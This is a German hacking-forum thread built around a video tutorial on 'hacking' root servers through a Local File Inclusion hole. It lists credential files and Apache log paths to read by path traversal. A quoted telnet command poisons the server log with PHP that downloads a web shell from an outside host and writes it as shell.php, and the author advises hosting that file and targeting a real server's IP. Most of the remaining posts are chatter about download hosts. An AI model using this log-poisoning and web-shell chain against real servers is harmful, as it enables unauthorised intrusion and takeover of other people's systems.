Root Server Hacking via LFI by hAgBaRd2ooo

http://steam-spieler.extra.hu/info.png

Hallo Leute,

in diesem Tutorial zeige ich euch wie man mit Hilfe einer LFI Luecke einen Root Server "hacken"/"securen" kann.

Naya wie gesagt eine bisher nicht alt zu bekannte Methode, ueber ein "Dankeschoen" oder bzw. Kritik/Verbesserungsvorschlaege wuerde ich mich freuen ;)

Code:

---

Pfade, die für eine Local/Remote Inclusion relevant sein können:

(Unix Benutzer- und Passwortfiles.)

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

(Apache Error Log Pfade

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

---

http://steam-spieler.extra.hu/download.png

Download: K L i C K E N !

Passwort: free-hack.com&src



Mit freundlichem Gruß

kRoLLe13 aKa hAgBaRd2ooo

joa, nettes tut zu anfang

kenn mich jetzt generell mit php nicht aus, aber wenn man seine brain.exe
benutzt und auch ein wenig googlet sollte man schon dahinter kommen
was du da machst und wie das geht

was mich ein wenig gestört hat, war dieses ständige zoomen:
man hat manchmal gar nicht gesehen was du geschrieben hast

außerdem hats mit der wiedergabe der songs nicht so ganz funktioniert...
naja, halb so schlimm, das erste lied ist sowieso schrott (nichts gegen dich)

lässt sich also prima einbauen danke

PS: vielleicht hätte man's bei rapidshare uppen sollen, manche kommen mit der download-geschwindigkeit von uploaded nicht zurecht

mfg deus13

Zu den Songs ya ist halt Geschmackssache wie du schon sagtest :D zur Not einfach Sound abstellen^^

Habe leider keinen RS Premium Account und bin mir bei RS auch nicht so sicher :(

Das mit dem Zoomen habe ich mir schon fast gedacht^^ Camtasia halt, also falls das wirklich so krass stoeren sollte das man nicht mehr durchblicken kann werde ich die Zoom-Ebene entfernen und nochmal neu uppen ;)

Danke fuer dein Feedback ;)

Was sagen die anderen? :D

kann´s jemand auf RS hochladen?
Bei ul.to kannst du´s vergessen..(bricht eh immer ab;))

Ich lade selber schon etwas laengere Zeit von UL und kann mich eigentlich nicht beklagen im Gegenteil bei RS habe ich das Problem das die Datei die ich lade nur alle 5 Sekunden ein Stueckchen weiterrunterlaedt und das die ganze Zeit so zieht sich der Download ganz schoen krass in die Laenge, probiere es doch erst einmal ;)

Ich wuerde es aber auch nicht sonderlich gut finden das jemand das Tutorial auf RS hochlaedt und im Endeffekt daruch auch noch Punkte bekommt :(

Aber naya ich kann es auch auf einen anderen Hoster uppen bei Bedarf (sprich wenn sich jetzt noch mehr dazu aeußern das es woanders besser waere)

Aber ladet es erstmal runter bzw. probiert es ;)

Nach 2 Download Abbrüchen bei ul.to habe ich jetzt endlich das Tutorial vollständig runtergeladen und finde das video sehr gut..
Man muss halt nur die Verzeichnisse wissen wo z.bsp. die errol.log datei liegt um die shell zu aktivieren.
Vllt. kann ja jemand eine Liste dazu erstellen..wäre sehr hilfreich!
Bei xampp wissen wir es ja bereits;)

Done! Aktuelle Liste per Edit eingefuegt ;)

nice tut aber ohne Premium hats bei mir 20 minuten gedauert das ding zu laden -.-

Na das ist doch relativ normal bei 205 MB :D
Ich weiss jedoch nicht was du fuenr DSL hast, das Problem warum ich es nicht auf RS uppen lasse habe ich ya bereits erwaehnt ;)

Es sei denn ich bekomme einen real-payed RS Acc geschenkt sozusagen als Dankeschoen und im Gegenzug uppe ich es auf RS :)

Ich weiß nicht ob ich zu blöd für bin, hatte bis jetzt eigentlich nicht den Eindruck. Aber ich bekomme das Archiv einfach nicht entpackt. Das Passwort ist angeblich immer falsch... Grüße atbash

Kannste ein RS.com Mirror machen hab für UL kein Premium und mit 50kb geht da garnix. Thx im Vorraus. ;)

warum nicht zippyshare, zshare oder megaupload? Dann würd ich nur 2min brauchen:D

Mhm ja hat ja bis jetzt kaum einer Feedback gegeben.
Ich finde du hast viel erklärt :) und man hatte alles verstanden, aber was ich mich frage, warum durch die error.log eine Shell gespawnd wird?
Aber sonst nettes tut :) gut für Anfänger.

oO da beklagen sich welche das des 20min dauert oO

ich brauche 2std egal ob mit oder ohne premium von dem her...ladet hoch mir egal wo aber es muss gehen :)

ich ziehs mir mal rein und gib dann feedback^^

so hier mal für die ganzen klagenden

[ame="http://www.megaupload.com/?d=0AQFZQMO"]MEGAUPLOAD - The leading online storage and file delivery service@@AMEPARAM@@Filename:</font> <font style="font-family:arial; color:#FF6700; font-size:22px; font-weight:bold;">rshvlbh2k.rar@@AMEPARAM@@rshvlbh2k.r ar[/ame]

also deer zoom ist echt manchmal nervig aber man kanns aushalten :)

danke auf jeden fall mal...ich hab dafür leider keinen gebrauch aber immerhin...vllt brauch ichs ja iwann :)

Danke das es einfach so ohne meine Einverständnis auf MU geupped wird :D aber ich bin ma' nicht so, waren schließlich ein paar Leute dabei die es besser finden würden wenn es woanders gehostet sein würde.

Zu den Zooms :D ja also hab' nachher auch gedacht shit wieso zoomt der jetzt in jeden Scheiss rein^^ aber weiß mittlerweile wie ichs' unterbinden kann, danke für das Feedback :)

Hout ryan...

Zitat:

---

Zitat von hAgBaRd2ooo

Danke das es einfach so ohne meine Einverständnis auf MU geupped wird :D aber ich bin ma' nicht so, waren schließlich ein paar Leute dabei die es besser finden würden wenn es woanders gehostet sein würde..

---

Okay war nicht ganz so nett, aber du musst dir darüber auch im klaren sein was einmal pub gemacht ist bleibt es. Du kannst da nicht so viel machen wenn andere das Uppen :-P. Naja wenns wen stört kann ichs rausmachen aber klang ja nicht danach ^^

Nein nein, das ist echt kein Ding :D
Nur das einzige was ich halt ein bissn blöd finde ist, ihr wisst bei UL wird relativ gut vergütet :D deswegen dachte ich mache ich mir dadurch paar €s. Ich weiß dafür hat UL auch so seine Schattenseiten was Speed und so angeht^^

Aber ist jetzt nicht so schlimm, mir ist auch klar das Leute, das Tut auf anderen Seiten hochladen und es anschließen in irgendwelchen "Free-Hack nicht Wasserreichenden Foren" posten und noch nicht mal auf meinen Namen hinweisen :D

Ist also nicht schlimm ich nimms dir nicht übel :D
Hou ryan... ;)

Nice TuT, und mit 'nem UL Premium Acc is das auch kein ding ;)

Nettes Tutorial. Die Musikwahl koennt glatt von meinem Bruder stammen :D

Werd mein Feedback hier nachher editieren, wenn ich mir das Tut ganz anschau.

Edit: Die Methode und der Source hat mich ziemlich an n00bors Tutorial erinnert, daher in meinen Augen an sich "nix neues". Auch haste es nicht wirklich an nem echten "root" getestet und daher war es leider nicht soo interessant.

Ich kriege den Telnet teil nicht hin^^
habe zwar bei mir Telnet gestarted, aber der sagt mir Snytaxfehler!
Ich habe Folgendes eingegeben:

Code:

---

telnet 127.0.0.1 80 ->GET/<?php $datei = fopen("shell.php","w+");$stream = fopen("http://st0rmcl4n.st.funpic.de/c.txt", "r");while (!feof($stream)) { $shell .= fgets($stream); } fclose($stream);fwrite($datei,$shell) ;fclose($stream);fclose($datei); ?>

---

sry falls ich etwas falsch gemacht habe, kenne mich aber mit telnet nicht so gut aus!

Was habt ihr alle gegen Rapidshare.. mags nicht doch noch wer hochladen? :D

Zitat:

---

Zitat von moppelito

Ich kriege den Telnet teil nicht hin^^
habe zwar bei mir Telnet gestarted, aber der sagt mir Snytaxfehler!
Ich habe Folgendes eingegeben:

Code:

---

telnet 127.0.0.1 80 ->GET/<?php $datei = fopen("shell.php","w+");$stream = fopen("http://st0rmcl4n.st.funpic.de/c.txt", "r");while (!feof($stream)) { $shell .= fgets($stream); } fclose($stream);fwrite($datei,$shell) ;fclose($stream);fclose($datei); ?>

---

sry falls ich etwas falsch gemacht habe, kenne mich aber mit telnet nicht so gut aus!

---

Ja du musst die URL schon ändern^^
Sprich du brauchst schon einen Space auf dem du die c.txt storn' kannst ;)

Solltest dann auch die entsprechende IP von dem Server verwenden, zum testen ist es Lokal ja ok xD

Desweiteren kann man fimap benutzen, um evtl. L/R FI zu finden.
Für Anfänger recht gut geeigenet ;-)

Hallo,

erstmal danke für das TuT, ist echt super gemacht...
nur Bushido ist peinlich und stinkt :P ( obwohl ich sehr gerne rap / hip hop höre )
das zoomen ist auch ein kleineswenig nervig, weil man denkt man verpasst was das du schreibst...

zu den leuten die über speed / hoster meckern...

früher hat man mit ach und krach FTP Server gesucht und war glücklich wenn man diese knacken konnte. dann gings erst richtig ab wenn man mit 3,5kb/s gesaugt hat :-)

man sollte also wirklich nicht rumheulen wenn man heute die ganzen filehoster angebote sieht und 50kb/s bringt einen nicht um.

gruß, danke

also ich finde das tut auch sehr gut und ich werde mich auch mal mit lfi beschäftigen, aber mein prob. ist das ich nicht weis wie ich eine lfi lücke finden kann.... wäre nett wenn mir da einer helfen könnte.

Zitat:

---

Zitat von hAgBaRd2ooo

Ja du musst die URL schon ändern^^
Sprich du brauchst schon einen Space auf dem du die c.txt storn' kannst ;)

---

ja, das habe ich ja, aber der sagt mir trotzdem Syntaxerror! -.-

Danke sehr! Jetzt weiß ich auch was LFI heißt O.o RFI kannt ich schon :P, Naja fand das tutorial wirklich sehr interessant. Bin jetzt aber auch leicht erschrocken wie einfach es ist O.o

mh hab mir das vid jetzt nich angeschaut, aber denke mal es geht um ~environ oder error/access logs. viel intressanter find ich phpsessid ^^. Vllcht mach ich damit iwann ma nen tut

Das Tutorial errinnert mich sehr stark an eins welches ich schonmal gesehen habe, weiß zwar nicht mehr von wem aber ist im prinzip das selbe, was mich allerdings sehr stark stört ist, das du sehr lange brauchst zum schreiben :X. Tippe sonst einfach den Text schonmal vor und scroll einfach nach für nach runter, oder rede einfach.

Könnte vielleicht daran liegen das dieser Thread schon ein bisschen älter ist ;)

// Feedback wird editiert ;)

Naja, da newkaiza den Thread ausgegraben hat, dachte ich mir gebe ich dennoch was feedback bevor ich close, dennoch das was ich gesehen habe ist noch älter, wenn nicht schon 3jahre.